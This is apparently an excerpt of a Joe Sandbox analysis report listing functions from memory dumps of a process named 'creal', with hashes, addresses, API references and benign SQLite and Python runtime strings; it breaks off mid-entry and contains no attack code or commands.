Instruction ID: f4f9b8dcd6af0a162bcd0c45226889a59ba800ca5777542f7363474d56a28885
Opcode Fuzzy Hash: 32bab25185db5cd73c33ce9707f9a1cf8e9a927a2b0a63cd242fbe127e798c5a
Instruction Fuzzy Hash: EF817263B2C2E159E321DE64A0506BE3AD4E7117D1F05853AEFCA877C1EA3CD986D321

Function 00007FF8E694D730 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E694D895

Part of subcall function 00007FF8E68B8D60: memcpy.VCRUNTIME140(?,?,?,00007FF8E68B87BC), ref: 00007FF8E68B8D91

Strings

AND , xrefs: 00007FF8E694D76C, 00007FF8E694D787
rowid, xrefs: 00007FF8E694D864
<expr>, xrefs: 00007FF8E694D829

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID: AND $<expr>$rowid
API String ID: 3510742995-4041574714
Opcode ID: 7a9dbc8726f448c68fb70c6213c80d26ac906cc5f071e5a49b2eede7385ef9bc
Instruction ID: a8fc3455140cba517938c1dd8fe1f11251ec11719941698de7c820d448b9936a
Opcode Fuzzy Hash: 7a9dbc8726f448c68fb70c6213c80d26ac906cc5f071e5a49b2eede7385ef9bc
Instruction Fuzzy Hash: 09A1D17AB282468AEB18EF55D0D863837A1EF55BD4F185036DA0E47388DF3DE849C742

Function 00007FF8E6937390 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 198COMMON

Download Yara Rule

Strings

%s.%s, xrefs: 00007FF8E693750E
column%d, xrefs: 00007FF8E6937598
rowid, xrefs: 00007FF8E69374EE

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID:
String ID: %s.%s$column%d$rowid
API String ID: 0-1505470444
Opcode ID: e4f89ea7a6944ccff559c56623e0758bdc567d60555918777054569768464e1a
Instruction ID: 0f9fa3d8e673f40c4d595a526f97ed679ce036bee95dafb15c83582e0be8ba98
Opcode Fuzzy Hash: e4f89ea7a6944ccff559c56623e0758bdc567d60555918777054569768464e1a
Instruction Fuzzy Hash: E1919B22A18B8281EA20EBA5D4583A97BA4FB45BE4F544336DE7D4B7D1DF3CE441C302

Function 00007FF8E69126B0 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 183COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E69128DE

Strings

, , xrefs: 00007FF8E691276E
CREATE TABLE , xrefs: 00007FF8E69127CF
, xrefs: 00007FF8E691278D

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID: $, $CREATE TABLE
API String ID: 3510742995-3459038510
Opcode ID: 2a15476f6ce4917aef91bbeb1ce1033297b7700a1e315c72d6f8d0f4d69aee38
Instruction ID: 1a0cbcabcc81ee06adb0c296d82df85df0bd4cb5697fd0c7cf777707b7616577
Opcode Fuzzy Hash: 2a15476f6ce4917aef91bbeb1ce1033297b7700a1e315c72d6f8d0f4d69aee38
Instruction Fuzzy Hash: 31614962B2858186DB15AFA4A4443BAB792FB40BE4F594336DE6D433D5DF3CD486C300

Function 00007FF8E68EB506 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 150COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E68EB646
memcpy.VCRUNTIME140 ref: 00007FF8E68EB65F

Strings

string or blob too big, xrefs: 00007FF8E68F0FB5
out of memory, xrefs: 00007FF8E68F12EB

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID: out of memory$string or blob too big
API String ID: 3510742995-2410398255
Opcode ID: fbb4dafd0a6be070e2d76bd2d42bef59fcfdb936f2f040c068530713021ab583
Instruction ID: ef509e0617127b30289d380e5ebc6c5a35bf7f739cb8643b1998f31e50472e00
Opcode Fuzzy Hash: fbb4dafd0a6be070e2d76bd2d42bef59fcfdb936f2f040c068530713021ab583
Instruction Fuzzy Hash: E861D566B2C6A682E7209FA5D44037EAB60FF45BD4F150032EF8D17BA5DE3DE4018711

Function 00007FF8E68CA110 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 139COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8E68CA238

Strings

database corruption, xrefs: 00007FF8E68CA2FF
%s at line %d of [%.10s], xrefs: 00007FF8E68CA30B
2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E68CA2F2

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memset
String ID: %s at line %d of [%.10s]$2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$database corruption
API String ID: 2221118986-3418467682
Opcode ID: 9fbdde885ac630e7bcdc771e6e602f6af576433065d3d436b03cd6e64e737253
Instruction ID: 4584731826a74aeccb851bf0da79d648dbcc9b763e18ad0c8cdb84ade6d0bca3
Opcode Fuzzy Hash: 9fbdde885ac630e7bcdc771e6e602f6af576433065d3d436b03cd6e64e737253
Instruction Fuzzy Hash: CD518B22B28BA2A6EB54CBA6E5547A973A4FB48BC4F144032DF4D43754EF3DE451C302

Function 00007FF8E68B85B0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 138COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E68B8668
memcpy.VCRUNTIME140 ref: 00007FF8E68B86F2

Strings

(join-%u), xrefs: 00007FF8E68B86FF
(subquery-%u), xrefs: 00007FF8E68B8716

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID: (join-%u)$(subquery-%u)
API String ID: 3510742995-2916047017
Opcode ID: b7bfc3dbd21539bfb7ebed18bb2dcfa1b9ea1d55930205eba394a99b17038129
Instruction ID: dc8998d05b03170a6b0751dfc1842d4c1c9f78ddd7e7b1179e161ed5121359f6
Opcode Fuzzy Hash: b7bfc3dbd21539bfb7ebed18bb2dcfa1b9ea1d55930205eba394a99b17038129
Instruction Fuzzy Hash: D351F6BAB386AE85EB60DB51C44877A2764FF51BF4F580631DA2E072C5DE6CE441C701

Function 00007FF8E68D8190 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 122COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8E68D82B4

Strings

database corruption, xrefs: 00007FF8E68D8327
%s at line %d of [%.10s], xrefs: 00007FF8E68D8333
2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E68D831A

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memmove
String ID: %s at line %d of [%.10s]$2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$database corruption
API String ID: 2162964266-3418467682
Opcode ID: bfd5b6867c2c0374446975610139a0db3b3e046f3ae2520d988382fd826a3f94
Instruction ID: 46aaac9893a720986546511ebce35c5a8e8254efffd7383cdec9f0a221013b95
Opcode Fuzzy Hash: bfd5b6867c2c0374446975610139a0db3b3e046f3ae2520d988382fd826a3f94
Instruction Fuzzy Hash: AE518A76B28BD0D6EA608F55E4003AEB7A9FB89BD4F544022DA8C53B68CF3CD495C701

Function 00007FF8E68DF030 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 114COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E68DF163

Strings

-, xrefs: 00007FF8E68DF147
, xrefs: 00007FF8E68DF182
%!.15g, xrefs: 00007FF8E68DF1AC

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID: $%!.15g$-
API String ID: 3510742995-875264902
Opcode ID: c624ad0bc44100b506bc71d4bfca6c8542f81e3f3e35595397915d470e7bca72
Instruction ID: 73ceedc5b94cf8b8adc9d1fd3989ae69d8dc5ebb582184d29b32cd8a2ab854b8
Opcode Fuzzy Hash: c624ad0bc44100b506bc71d4bfca6c8542f81e3f3e35595397915d470e7bca72
Instruction Fuzzy Hash: A3412762F2C79582EB11CB6EE0417AA7BA4EB857C4F005135EA8D07B96CB3DD905CB11

Function 00007FF8E68CBDF0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 113COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8E68CBEC6

Strings

database corruption, xrefs: 00007FF8E68CBF6D
%s at line %d of [%.10s], xrefs: 00007FF8E68CBF79
2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E68CBF60

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memset
String ID: %s at line %d of [%.10s]$2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$database corruption
API String ID: 2221118986-3418467682
Opcode ID: a59836951526b2add0dae058d111b5bc160af8710fac0e987abcc3119e3b6a5b
Instruction ID: 8014b07c7cf70dd7db478d84f1595498685b6edbd3fdebfaddb9a6b93c09ad63
Opcode Fuzzy Hash: a59836951526b2add0dae058d111b5bc160af8710fac0e987abcc3119e3b6a5b
Instruction Fuzzy Hash: 7D41BD22B38B6692EB609F95E0403B973A4FB84BD0F641135EB8E17794DF7CD8018B42

Function 00007FF8E68D77F0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 83COMMON

Download Yara Rule

Strings

database corruption, xrefs: 00007FF8E68D7854
%s at line %d of [%.10s], xrefs: 00007FF8E68D7860
2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E68D7847

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$database corruption
API String ID: 0-3418467682
Opcode ID: 8577bfbe5d932445ad4f04faa4fad4ca1e8a6b6e449546e0024e713a034ae5f8
Instruction ID: ddf0167c918b85ee9069e880617b4955542fadbf00a48f5e75effe57e0dac64d
Opcode Fuzzy Hash: 8577bfbe5d932445ad4f04faa4fad4ca1e8a6b6e449546e0024e713a034ae5f8
Instruction Fuzzy Hash: 3F310B73A183D19AD704CF6AD09027C7FA0E781B84B04813AEFD94B799EA3CD561C760

Function 00007FF8E7142E10 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

PyObject_RichCompareBool.PYTHON312 ref: 00007FF8E7142E78
_Py_Dealloc.PYTHON312 ref: 00007FF8E7142E8E
_Py_Dealloc.PYTHON312 ref: 00007FF8E7142EA2

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$BoolCompareObject_Rich
String ID:
API String ID: 74976934-0
Opcode ID: 06e8f97dbb0ea0e89ed53f8803494b3fcf86a5d1c840b79286c23275ed2a61a7
Instruction ID: b7815d60fd0d93bf5a55ec08cc6d4c785b6eaca4758f42181c7389682fe78c48
Opcode Fuzzy Hash: 06e8f97dbb0ea0e89ed53f8803494b3fcf86a5d1c840b79286c23275ed2a61a7
Instruction Fuzzy Hash: 15116332A18742C6E7548BA9E54437C2391AF55BF0F081330DA7A676E5EF2CE8D18707

Function 00007FF8E7144C90 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON312 ref: 00007FF8E7144CBC
_Py_Dealloc.PYTHON312 ref: 00007FF8E7144CE5
_Py_Dealloc.PYTHON312 ref: 00007FF8E7144D0E
_Py_Dealloc.PYTHON312 ref: 00007FF8E7144D30

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc
String ID:
API String ID: 3617616757-0
Opcode ID: ece71df874b8b5f5a56a715ca088fb7d08a9acaf02b1d109a510bd9dd73bf957
Instruction ID: fa5a4fe70e57d496ae7c60ad8b696944b344c7d1d1e90bb3e195e1ed8cad525d
Opcode Fuzzy Hash: ece71df874b8b5f5a56a715ca088fb7d08a9acaf02b1d109a510bd9dd73bf957
Instruction Fuzzy Hash: 0221A576919742C1EB798FB4D84837C22A1AB55BB9F280330CE79411D0EF7DA4868356

Function 00007FF8E6FB150C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8E6FB1538
GetCurrentThreadId.KERNEL32 ref: 00007FF8E6FB1546
GetCurrentProcessId.KERNEL32 ref: 00007FF8E6FB1552
QueryPerformanceCounter.KERNEL32 ref: 00007FF8E6FB1562

Memory Dump Source

Source File: 00000002.00000002.1577473923.00007FF8E6FB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF8E6FB0000, based on PE: true

Associated: 00000002.00000002.1577410915.00007FF8E6FB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000002.00000002.1577517217.00007FF8E6FB2000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000002.00000002.1577555444.00007FF8E6FB4000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e6fb0000_creal.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 0baeea097dfd391caeb23ce1cd709dc375e05fd8cc26cab7f33f9427a773fc6d
Instruction ID: 7e5a139aee8ab1a6f28307252521dee464caf294c598b65e5ae2ae9235c86ce4
Opcode Fuzzy Hash: 0baeea097dfd391caeb23ce1cd709dc375e05fd8cc26cab7f33f9427a773fc6d
Instruction Fuzzy Hash: 4D112E22B68F0989EB00CFA0E8543B833A4FB19798F481E31DA6D467A4DF7CD198C341

Function 00007FF8E69DB1DC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8E69DB208
GetCurrentThreadId.KERNEL32 ref: 00007FF8E69DB216
GetCurrentProcessId.KERNEL32 ref: 00007FF8E69DB222
QueryPerformanceCounter.KERNEL32 ref: 00007FF8E69DB232

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 053a4ead8fbd86b108cff19f95c251b98a389c566ad07baf748d71a84e062db2
Instruction ID: e2754a82805e46456a6f48a67dfb2ff450970bd9c11ad6be9e2889bb2cf3b0e1
Opcode Fuzzy Hash: 053a4ead8fbd86b108cff19f95c251b98a389c566ad07baf748d71a84e062db2
Instruction Fuzzy Hash: 1A113C26B28F058AEB00DFA0E8593B833A4FB19798F441E31DB6D467A5DF7CD1998341

Function 00007FF8E6F3150C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8E6F31538
GetCurrentThreadId.KERNEL32 ref: 00007FF8E6F31546
GetCurrentProcessId.KERNEL32 ref: 00007FF8E6F31552
QueryPerformanceCounter.KERNEL32 ref: 00007FF8E6F31562

Memory Dump Source

Source File: 00000002.00000002.1575627628.00007FF8E6F31000.00000020.00000001.01000000.00000029.sdmp, Offset: 00007FF8E6F30000, based on PE: true

Associated: 00000002.00000002.1575586394.00007FF8E6F30000.00000002.00000001.01000000.00000029.sdmpDownload File
Associated: 00000002.00000002.1575707674.00007FF8E6F33000.00000002.00000001.01000000.00000029.sdmpDownload File
Associated: 00000002.00000002.1575751750.00007FF8E6F35000.00000002.00000001.01000000.00000029.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e6f30000_creal.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 57e55c07fb4b7e3f2d380650e9b8758557fae20b4aa4a558b4cbdb1162b5ee6f
Instruction ID: d2383516576d822b422cf5aa002cac56f6b52006e7371d5dad2c51fbf8869cf3
Opcode Fuzzy Hash: 57e55c07fb4b7e3f2d380650e9b8758557fae20b4aa4a558b4cbdb1162b5ee6f
Instruction Fuzzy Hash: 46112E62B64F4689EB00CFA0E8543B833A4FB29B98F441E31DA6D467A4DF7CD1988341

Function 00007FF8E6FC150C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8E6FC1538
GetCurrentThreadId.KERNEL32 ref: 00007FF8E6FC1546
GetCurrentProcessId.KERNEL32 ref: 00007FF8E6FC1552
QueryPerformanceCounter.KERNEL32 ref: 00007FF8E6FC1562

Memory Dump Source

Source File: 00000002.00000002.1577634657.00007FF8E6FC1000.00000020.00000001.01000000.00000020.sdmp, Offset: 00007FF8E6FC0000, based on PE: true

Associated: 00000002.00000002.1577585028.00007FF8E6FC0000.00000002.00000001.01000000.00000020.sdmpDownload File
Associated: 00000002.00000002.1577691044.00007FF8E6FC3000.00000002.00000001.01000000.00000020.sdmpDownload File
Associated: 00000002.00000002.1577732223.00007FF8E6FC4000.00000004.00000001.01000000.00000020.sdmpDownload File
Associated: 00000002.00000002.1577775069.00007FF8E6FC5000.00000002.00000001.01000000.00000020.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e6fc0000_creal.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 57e55c07fb4b7e3f2d380650e9b8758557fae20b4aa4a558b4cbdb1162b5ee6f
Instruction ID: 45a38af914955459da9d42c08ab17764a305c25bda3f1e58daa7f3bd20c8bcc3
Opcode Fuzzy Hash: 57e55c07fb4b7e3f2d380650e9b8758557fae20b4aa4a558b4cbdb1162b5ee6f
Instruction Fuzzy Hash: 51111C22B64B0599EB00CBA0E8543F833A4FB29798F441E31DA6D467A4DF7CD1988345

Function 00007FF8E6F1150C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8E6F11538
GetCurrentThreadId.KERNEL32 ref: 00007FF8E6F11546
GetCurrentProcessId.KERNEL32 ref: 00007FF8E6F11552
QueryPerformanceCounter.KERNEL32 ref: 00007FF8E6F11562

Memory Dump Source

Source File: 00000002.00000002.1575166000.00007FF8E6F11000.00000020.00000001.01000000.0000002B.sdmp, Offset: 00007FF8E6F10000, based on PE: true

Associated: 00000002.00000002.1575122286.00007FF8E6F10000.00000002.00000001.01000000.0000002B.sdmpDownload File
Associated: 00000002.00000002.1575218759.00007FF8E6F16000.00000002.00000001.01000000.0000002B.sdmpDownload File
Associated: 00000002.00000002.1575264792.00007FF8E6F1B000.00000002.00000001.01000000.0000002B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e6f10000_creal.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 1180e2e5db8fc01fcffb0ed67e503fd1d649ff95b0bf32135d6d632c2e4928ca
Instruction ID: 7a18c757b9289fddb4bf78e22caee135e82848b4a4fdf396109abb7711e97c1c
Opcode Fuzzy Hash: 1180e2e5db8fc01fcffb0ed67e503fd1d649ff95b0bf32135d6d632c2e4928ca
Instruction Fuzzy Hash: B711FA26B24F058AEB00CFA0E8553B833A4FB597D8F441E35DA6D467A9DF7CD1A88341

Function 00007FF8E7153E9C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8E7153EC8
GetCurrentThreadId.KERNEL32 ref: 00007FF8E7153ED6
GetCurrentProcessId.KERNEL32 ref: 00007FF8E7153EE2
QueryPerformanceCounter.KERNEL32 ref: 00007FF8E7153EF2

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: d9e6e1a99beb20024c39237dbb01f35985b29cf17aeeaa0b650d61652553da3b
Instruction ID: 304fb00ef77a63d03df5bfe649ff4001e43d76905f505f263f3be130ae372853
Opcode Fuzzy Hash: d9e6e1a99beb20024c39237dbb01f35985b29cf17aeeaa0b650d61652553da3b
Instruction Fuzzy Hash: B3111C22B14B4589EB00CBA0E8543BD33A4FB19798F440D31DA6D467A4EF7CD1988381

Function 00007FF8E7143520 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

